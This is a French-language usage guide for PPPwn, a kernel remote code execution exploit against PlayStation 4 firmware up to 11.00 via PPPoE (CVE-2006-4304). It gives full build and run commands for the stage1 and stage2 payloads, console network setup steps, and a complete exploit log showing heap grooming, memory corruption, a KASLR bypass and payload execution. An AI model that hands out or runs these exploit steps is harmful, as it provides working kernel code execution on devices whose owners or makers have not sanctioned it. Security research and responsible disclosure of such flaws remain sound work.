
PPPwn - RCE PPPoE sur PlayStation 4
PPPwn est un exploit d'exécution de code à distance au niveau du noyau pour PlayStation 4 jusqu'au FW 11.00. Il s'agit d'un exploit de preuve de concept pour CVE-2006-4304 qui a été signalé de manière responsable à PlayStation.
Les versions prises en charge sont :
L'exploit affiche uniquement PPPwned sur votre PS4 à titre de preuve de concept. Afin de lancer Mira ou des activateurs homebrew similaires, le payload stage2.bin doit être adapté.
Bridged Adapter comme adaptateur réseau afin d'utiliser le port Ethernet dans la VM.Sur votre ordinateur, clonez le dépôt :
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
Placez-vous dans le répertoire du dépôt cloné :
cd PPPwn
Installez les dépendances :
sudo pip install -r requirements.txt
Compilez les payloads :
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
Pour d'autres firmwares, par exemple FW 9.00, passez FW=900.
N'EXÉCUTEZ PAS encore l'exploit (n'appuyez pas encore sur Entrée) mais préparez cette commande dans votre invite (voir ifconfig pour l'interface correcte) :
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Pour d'autres firmwares, par exemple FW 9.00, passez --fw=900.
Sur votre PS4 :
Allez dans Settings puis Network
Sélectionnez Set Up Internet connection et choisissez Use a LAN Cable
Choisissez la configuration Custom et sélectionnez PPPoE pour IP Address Settings
Saisissez n'importe quoi pour PPPoE User ID et PPPoE Password
Choisissez Automatic pour DNS Settings et MTU Settings
Choisissez Do Not Use pour Proxy Server
Maintenant, appuyez simultanément sur le bouton « X » de votre manette sur Test Internet Connection et sur « Entrée » sur votre clavier (sur l'ordinateur où votre script Python est prêt à être exécuté).
Attendez TOUJOURS que la console affiche le message « Cannot connect to network: (NW-31274-7) » avant de réessayer cette injection PPPoE.
Si l'exploit échoue ou si la PS4 plante, vous pouvez ignorer la configuration Internet et simplement cliquer sur Test Internet Connection. Tuez le script pppwn.py puis relancez-le sur votre ordinateur, puis cliquez sur Test Internet Connection sur votre PS4 : toujours simultanément.
Si l'exploit fonctionne, vous devriez voir une sortie similaire à celle ci-dessous, et vous devriez voir Cannot connect to network. suivi de PPPwned affiché sur votre PS4, ou l'inverse.
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin
[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done
[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141
[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000
[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
Le code ne compile pas sur Apple Silicon et nécessite une architecture AMD64.
Il existe une solution de contournement utilisant Docker qui construira les fichiers bin nécessaires.
Clonez ce dépôt sur votre Mac, puis depuis le dossier du dépôt exécutez ./build-macarm.sh. Cela construira les binaires pour PS4 FW 1100 et placera les fichiers nécessaires dans les dossiers appropriés. Pour construire les binaires pour une version différente, c'est-à-dire 900, exécutez la commande comme suit : ./build-macarm.sh 900. Une fois construit, copiez cette structure de dossiers dans la VM Linux et exécutez comme indiqué ci-dessus.
Cela a été testé avec VMware Fusion 13.5.1, avec la VM invitée sous Ubuntu 24.04, et la machine hôte sous MacOS 14.4.1.